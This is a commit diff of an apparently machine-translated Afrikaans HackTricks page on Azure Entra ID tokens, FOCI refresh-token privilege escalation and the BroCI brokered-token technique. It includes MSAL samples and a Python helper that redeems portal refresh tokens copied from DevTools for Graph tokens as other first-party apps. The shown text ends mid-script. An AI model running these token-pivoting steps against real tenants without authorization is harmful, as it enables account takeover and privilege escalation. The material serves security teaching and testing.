mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
+395
-65
@@ -1,100 +1,100 @@
|
||||
# Az - Tokens & Public Applications
|
||||
# Az - Tokens & Publieke Toepassings
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Entra ID is Microsoft se cloud-gebaseerde identity and access management (IAM) platform en dien as die fondamentale authentication en authorization stelsel vir dienste soos Microsoft 365 en Azure Resource Manager. Azure AD implementeer die OAuth 2.0 authorization framework en die OpenID Connect (OIDC) authentication protocol om toegang tot hulpbronne te bestuur.
|
||||
Entra ID is Microsoft se wolkgebaseerde identiteit- en toegangsbestuursplatform (IAM), wat dien as die fundamentele verifikasie- en magtigingstelsel vir dienste soos Microsoft 365 en Azure Resource Manager. Azure AD implementeer die OAuth 2.0 magtigingsraamwerk en die OpenID Connect (OIDC) verifikasieprotokol om toegang tot hulpbronne te bestuur.
|
||||
|
||||
### OAuth
|
||||
|
||||
**Sleuteldeelnemers in OAuth 2.0:**
|
||||
Belangrike deelnemers in OAuth 2.0:
|
||||
|
||||
1. **Resource Server (RS):** Beskerm hulpbronne wat deur die resource owner besit word.
|
||||
2. **Resource Owner (RO):** Gewoonlik 'n eindgebruiker wat die beskermde hulpbronne besit.
|
||||
3. **Client Application (CA):** 'n Aplikasie wat toegang tot hulpbronne namens die resource owner soek.
|
||||
4. **Authorization Server (AS):** Gee access tokens aan client applications nadat hulle geverifieer en geauthoriseer is.
|
||||
2. **Resource Owner (RO):** Tipies 'n eindgebruiker wat die beskermde hulpbronne besit.
|
||||
3. **Client Application (CA):** 'n Toepassing wat toegang tot hulpbronne namens die resource owner soek.
|
||||
4. **Authorization Server (AS):** Gee access tokens aan client applications nadat dit hulle geverifieer en gemagtig het.
|
||||
|
||||
**Scopes en Toestemming:**
|
||||
Scopes en Toestemming:
|
||||
|
||||
- **Scopes:** Fyn-granulêre magtigings wat op die resource server gedefinieer word en toegangsvlakke spesifiseer.
|
||||
- **Scopes:** Fynkorrelige toestemmings op die resource server wat toegangsvlakke spesifiseer.
|
||||
- **Consent:** Die proses waardeur 'n resource owner 'n client application toestemming gee om hulpbronne met spesifieke scopes te gebruik.
|
||||
|
||||
**Microsoft 365 Integrasie:**
|
||||
Microsoft 365-integrasie:
|
||||
|
||||
- Microsoft 365 gebruik Azure AD vir IAM en bestaan uit verskeie "first-party" OAuth applications.
|
||||
- Hierdie toepassings is diep geïntegreer en het dikwels onderlinge diensverhoudings.
|
||||
- Om gebruikerservaring te vereenvoudig en funksionaliteit te behou, gee Microsoft "implied consent" of "pre-consent" aan hierdie first-party applications.
|
||||
- **Implied Consent:** Sekere toepassings word outomaties **toegestaan om toegang tot spesifieke scopes te kry sonder eksplisiete gebruiker- of administrateurgoedkeuring**.
|
||||
- Hierdie pre-consented scopes is gewoonlik weggesteek vir beide gebruikers en administrateurs, wat hulle minder sigbaar maak in standaard bestuursinterfaces.
|
||||
- Microsoft 365 gebruik Azure AD vir IAM en bestaan uit verskeie "first-party" OAuth-toepassings.
|
||||
- Hierdie toepassings is diep geïntegreer en het dikwels onderling afhanklike diensverhoudings.
|
||||
- Om die gebruikerservaring te vereenvoudig en funksionaliteit te behou, verleen Microsoft "implied consent" of "pre-consent" aan hierdie first-party toepassings.
|
||||
- **Implied Consent:** Sekere toepassings word outomaties **toegang tot spesifieke scopes gegee sonder eksplisiete gebruiker- of administrateurgoedkeuring**.
|
||||
- Hierdie vooraf-toegestemde scopes is tipies verborge vir beide gebruikers en administrateurs, wat dit minder sigbaar maak in standaard bestuurderskoppelvlakke.
|
||||
|
||||
**Tipes Client Applications:**
|
||||
Tipes Client Applications:
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- Besit hul eie credentials (bv. passwords of sertifikate).
|
||||
- Kan hulself **veilig autentiseer** na die authorization server.
|
||||
- Besit hul eie credentials (bv. wagwoorde of sertifikate).
|
||||
- Kan hulself **veilig verifieer** by die authorization server.
|
||||
2. **Public Clients:**
|
||||
- Het nie unieke credentials nie.
|
||||
- Kan nie veilig teenoor die authorization server autentiseer nie.
|
||||
- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n public client application naboots wanneer hy tokens versoek, aangesien daar geen meganisme is vir die authorization server om die legitimiteit van die aplikasie te verifieer nie.
|
||||
- Het geen unieke credentials nie.
|
||||
- Kan nie veilig by die authorization server verifieer nie.
|
||||
- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n public client application naboots wanneer hy tokens versoek, aangesien daar geen meganisme is vir die authorization server om die legitimiteit van die toepassing te verifieer nie.
|
||||
|
||||
## Authentication Tokens
|
||||
## Verifikaasietokens
|
||||
|
||||
Daar is **drie tipes tokens** wat in OIDC gebruik word:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die client bied hierdie token aan die resource server om toegang tot hulpbronne te kry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, client, en resource en **kan nie herroep word** tot dit verval — dit is standaard 1 uur.
|
||||
- **ID Tokens**: Die client ontvang hierdie **token van die authorization server**. Dit bevat basiese inligting oor die gebruiker. Dit is **gebind aan 'n spesifieke kombinasie van gebruiker en client**.
|
||||
- **Refresh Tokens**: Verskaf aan die client saam met die access token. Word gebruik om **nuwe access- en ID-tokens te kry**. Dit is gebind aan 'n spesifieke kombinasie van gebruiker en client en kan herroep word. Die standaard vervaltyd is **90 dae** vir inaktiewe refresh tokens en **geen vervaltyd vir aktiewe tokens** (van 'n refresh token is dit moontlik om nuwe refresh tokens te kry).
|
||||
- 'n Refresh token behoort gekoppel te wees aan 'n **`aud`**, aan sekere **scopes**, en aan 'n **tenant** en dit behoort slegs in staat te wees om access tokens vir daardie aud, scopes (en nie meer nie) en tenant te genereer. Dit is egter nie die geval met **FOCI applications tokens** nie.
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die kliënt bied hierdie token aan die resource server om **toegang tot hulpbronne** te kry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, client en hulpbron en **kan nie herroep word** totdat dit verstryk nie — dit is standaard 1 uur.
|
||||
- **ID Tokens**: Die kliënt ontvang hierdie **token van die authorization server**. Dit bevat basiese inligting oor die gebruiker. Dit is **gekoppel aan 'n spesifieke kombinasie van gebruiker en client**.
|
||||
- **Refresh Tokens**: Verskaf aan die kliënt saam met die access token. Word gebruik om **nuwe access en ID tokens te kry**. Dit is gekoppel aan 'n spesifieke kombinasie van gebruiker en client en kan herroep word. Standaard verstryking is **90 dae** vir inaktive refresh tokens en **geen verstryking vir aktiewe tokens** (deur van 'n refresh token is dit moontlik om nuwe refresh tokens te kry).
|
||||
- 'n Refresh token behoort gekoppel te wees aan 'n **`aud`**, aan sekere **scopes**, en aan 'n **tenant** en dit behoort slegs in staat te wees om access tokens vir daardie aud, scopes (en niks meer) en tenant te genereer. Dit is egter nie die geval met **FOCI applications tokens** nie.
|
||||
- 'n Refresh token is versleuteld en slegs Microsoft kan dit ontsleutel.
|
||||
- Om 'n nuwe refresh token te kry herroep nie die vorige refresh token nie.
|
||||
|
||||
> [!WARNING]
|
||||
> Inligting vir **conditional access** is **gestoor** binne die **JWT**. Dus, as jy die **token vanaf 'n toegelate IP-adres** versoek, sal daardie **IP** in die token **gestoor** word en jy kan daardie token dan vanaf 'n **nie-toegelate IP gebruik om toegang tot hulpbronne te kry**.
|
||||
> Inligting vir **conditional access** word **gestoor** binne die **JWT**. Dus, as jy die **token vanaf 'n toegelate IP-adres** versoek, sal daardie **IP** in die token **gestoor** word en dan kan jy daardie token vanaf 'n **nie-toegelate IP gebruik om toegang tot die hulpbronne te kry**.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
Die veld wat in die "aud" veld aangedui word is die **resource server** (die toepassing) wat gebruik word om die login uit te voer.
|
||||
Die veld aangedui in die "aud" veld is die **resource server** (die toepassing) wat gebruik word om die aanmelding uit te voer.
|
||||
|
||||
Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elkeen van hulle sal 'n spesifieke "aud" by die resulterende access token voeg:
|
||||
Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elk van hulle sal 'n spesifieke "aud" by die resulterende access token voeg:
|
||||
|
||||
> [!CAUTION]
|
||||
> Neem asseblief kennis dat die onderstaande net die APIs is wat deur `az account get-access-token` ondersteun word, maar daar is meer.
|
||||
> Neem kennis dat die volgende net die APIs is wat deur `az account get-access-token` ondersteun word, maar daar is meer.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud examples</summary>
|
||||
<summary>aud voorbeelde</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Word gebruik om toegang te kry tot die legacy Azure AD Graph API (deprecated), wat toepassings toelaat om directory data in Azure Active Directory (Azure AD) te lees en te skryf.
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Gebruik om toegang tot die legacy Azure AD Graph API (deprekated) te kry, wat toepassings toelaat om gidsdata in Azure Active Directory te lees en te skryf.
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Word gebruik om Azure resources te bestuur via die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer en verwyder van resources soos virtual machines, storage accounts, en meer.
|
||||
* **arm (Azure Resource Manager)**: Gebruik om Azure-hulpbronne te bestuur deur die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer en verwyder van hulpbronne soos virtuele masjiene, stoortoestelle, en meer.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Word gebruik om toegang te kry tot Azure Batch, 'n diens wat groot-skale parallelle en hoë-prestasie rekenaartoepassings in die cloud effektief moontlik maak.
|
||||
- **batch (Azure Batch Services)**: Gebruik om toegang tot Azure Batch te kry, 'n diens wat grootskaalse parallelle en hoë-prestasietoepassings in die wolk effektief moontlik maak.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Word gebruik om met Azure Data Lake Storage Gen1 te kommunikeer, wat 'n skaalbare datastoor en analytics diens is.
|
||||
* **data-lake (Azure Data Lake Storage)**: Gebruik om met Azure Data Lake Storage Gen1 te kommunikeer, wat 'n skaalbare data-opberging- en analitiese diens is.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Word gebruik om toegang te kry tot Azure Media Services, wat cloud-gebaseerde media verwerking en afleweringsdienste vir video- en oudiomateriaal verskaf.
|
||||
- **media (Azure Media Services)**: Gebruik om toegang tot Azure Media Services te kry, wat wolkgebaseerde media-verwerking en leweringsdienste vir video- en oudio-inhoud bied.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Word gebruik om toegang te kry tot die Microsoft Graph API, die verenigde eindpunt vir Microsoft 365 diensdata. Dit laat jou toe om data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility en Security dienste te bekom.
|
||||
* **ms-graph (Microsoft Graph API)**: Gebruik om toegang tot die Microsoft Graph API te kry, die eenvormige eindpunt vir Microsoft 365-diensdata. Dit stel jou in staat om data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility en Security-dienste te kry.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Word gebruik om toegang te kry tot Azure Database dienste vir open-source relationele databasismotors soos MySQL, PostgreSQL, en MariaDB.
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Gebruik om toegang tot Azure Database-dienste vir open-source relationele databasis-motors soos MySQL, PostgreSQL, en MariaDB te kry.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
Die scope van 'n access token word gestoor binne die scp sleutel binne die access token JWT. Hierdie scopes definieer waarna die access token toegang het.
|
||||
Die scope van 'n access token word binne die scp sleutel in die access token JWT gestoor. Hierdie scopes definieer waartoe die access token toegang het.
|
||||
|
||||
As 'n JWT toegelaat word om 'n spesifieke API te kontak maar **nie die scope het** om die versoekte aksie uit te voer nie, sal dit **nie in staat wees om daardie aksie met daardie JWT uit te voer nie**.
|
||||
As 'n JWT toegelaat word om 'n spesifieke API te kontak maar **nie die scope** het om die versoekte aksie uit te voer nie, sal dit **nie in staat wees om die aksie uit te voer** met daardie JWT nie.
|
||||
|
||||
### Kry voorbeeld van refresh- & access-token
|
||||
### Get refresh & access token example
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -144,30 +144,30 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
### Ander access token-velde
|
||||
### Other access token fields
|
||||
|
||||
- **appid**: Application ID wat gebruik is om die token te genereer
|
||||
- **appidacr**: Die Application Authentication Context Class Reference dui aan hoe die client geverifieer is; vir 'n public client is die waarde 0, en as 'n client secret gebruik is is die waarde 1
|
||||
- **acr**: Die Authentication Context Class Reference-claim is "0" wanneer die eindgebruiker se verifikasie nie aan die vereistes van ISO/IEC 29115 voldoen het nie.
|
||||
- **amr**: Die Authentication method dui aan hoe die token geverifieer is. 'n Waarde van “pwd” dui aan dat 'n wagwoord gebruik is.
|
||||
- **groups**: Dui die groups aan waarvan die principal 'n lid is.
|
||||
- **groups**: Dui die groepe aan waarvan die principal 'n lid is.
|
||||
- **iss**: Die iss identifiseer die security token service (STS) wat die token gegenereer het. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (die uuid is die tenant ID)
|
||||
- **oid**: Die object ID van die principal
|
||||
- **tid**: Tenant ID
|
||||
- **iat, nbf, exp**: Issued at (wanneer dit uitgereik is), Not before (kan nie gebruik word voor hierdie tyd nie, gewoonlik dieselfde waarde as iat), Expiration time.
|
||||
- **iat, nbf, exp**: Uitgereik op (wanneer dit uitgereik is), Nie voor (kan nie voor hierdie tyd gebruik word nie, gewoonlik dieselfde waarde as iat), Vervaltyd.
|
||||
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
Voorheen is genoem dat refresh tokens gekoppel behoort te wees aan die **scopes** waarmee dit gegenereer is, aan die **application** en **tenant** waarvoor dit gegenereer is. Indien enige van hierdie grense gebreek word, is dit moontlik om privileges te eskaleer omdat dit moontlik sal wees om access tokens te genereer vir ander resources en tenants waartoe die gebruiker toegang het, en met meer scopes as waarvoor dit oorspronklik bedoel was.
|
||||
Eerder is genoem dat refresh tokens gekoppel behoort te wees aan die **scopes** waarmee dit gegenereer is, aan die **application** en **tenant** waarvoor dit gegenereer is. As enige van hierdie perke gebreek word, is dit moontlik om privileges te eskaleer, aangesien dit moontlik sal wees om access tokens te genereer vir ander resources en tenants waartoe die gebruiker toegang het en met meer scopes as wat oorspronklik bedoel was.
|
||||
|
||||
Verder, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) omdat, soos die [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
Boonop, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) omdat, soos die [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) noem: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
|
||||
Let ook daarop dat FOCI applications public applications is, dus **no secret is needed** om by die server te autentiseer.
|
||||
Verder, neem kennis dat die FOCI applications openbare applications is, so **no secret is needed** om by die bediener te verifieer.
|
||||
|
||||
Die bekende FOCI clients wat in die [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, kan [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
Die bekende FOCI clients wat in die [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, kan by [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) gevind word.
|
||||
|
||||
### Kry 'n ander scope
|
||||
### Get different scope
|
||||
|
||||
In aansluiting by die vorige voorbeeldkode, word in hierdie kode 'n nuwe token versoek vir 'n ander scope:
|
||||
```python
|
||||
@@ -186,7 +186,7 @@ scopes=[
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
### Kry 'n ander client en scopes
|
||||
### Kry 'n ander kliënt en scopes
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
@@ -202,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
A BroCI refresh token is 'n brokered token-uitruilingspatroon waar 'n bestaande refresh token gebruik word met bykomende broker-parameters om tokens te versoek as 'n ander vertroude first-party app.
|
||||
|
||||
Hierdie refresh tokens moet in daardie broker-konteks gemint wees (’n gewone refresh token kan gewoonlik nie as 'n BroCI refresh token gebruik word nie).
|
||||
|
||||
### Doel en bedoeling
|
||||
|
||||
Die doel van BroCI is om 'n geldige gebruikersessie van 'n broker-capable app-ketting te hergebruik en tokens aan te vra vir 'n ander vertroude app/resource-paar. Dit laat dus toe om "escalate privileges" vanaf die oorspronklike token.
|
||||
|
||||
Van 'n offensiewe perspektief is dit belangrik omdat:
|
||||
|
||||
- Dit kan pre-consented first-party app-paaie ontsluit wat nie met standaard refresh-uitruilings toeganklik is nie.
|
||||
- Dit kan access tokens teruggee vir hoë-waarde APIs (byvoorbeeld Microsoft Graph) onder app-identiteite met wye delegated permissions.
|
||||
- Dit brei post-authentication token pivoting-geleenthede uit buite klassieke FOCI client switching.
|
||||
|
||||
Wat in 'n NAA/BroCI refresh token verander, is nie die sigbare token-formaat nie, maar die issuance context en broker-verwante metadata wat Microsoft valideer tydens brokered refresh-operasies.
|
||||
|
||||
NAA/BroCI token exchanges is nie dieselfde as 'n gewone OAuth refresh exchange nie.
|
||||
|
||||
- 'n Gewone refresh token (byvoorbeeld verkry via device code flow) is gewoonlik geldig vir standaard `grant_type=refresh_token` operasies.
|
||||
- 'n BroCI-versoek sluit addisionele broker-konteks in (`brk_client_id`, broker `redirect_uri`, en `origin`).
|
||||
- Microsoft valideer of die aangebiedde refresh token in 'n ooreenstemmende brokered-konteks gemint is.
|
||||
- Daarom misluk baie "normale" refresh tokens in BroCI-versoeke met foute soos `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- Jy kan gewoonlik nie 'n gewone refresh token in kode "omskakel" na 'n BroCI-geldige een nie.
|
||||
- Jy benodig 'n refresh token wat reeds deur 'n verenigbare brokered flow uitgegee is.
|
||||
|
||||
Check die web **<https://entrascopes.com/>** om BroCI-gekonfigureerde apps en die trust relationships wat hulle het te vind.
|
||||
|
||||
### Mental model
|
||||
|
||||
Dink aan BroCI as:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
As enige deel van daardie broker-ketting nie saamstem nie, misluk die uitruiling.
|
||||
|
||||
### Waar om 'n BroCI-geldige refresh token te vind
|
||||
|
||||
Een praktiese manier is deur blaaier-portalverkeer te versamel:
|
||||
|
||||
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
|
||||
2. Open DevTools -> Network.
|
||||
3. Filter vir:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Identify the brokered token response and copy `refresh_token`.
|
||||
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
|
||||
|
||||
### Common errors
|
||||
|
||||
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
|
||||
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
|
||||
|
||||
<details>
|
||||
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
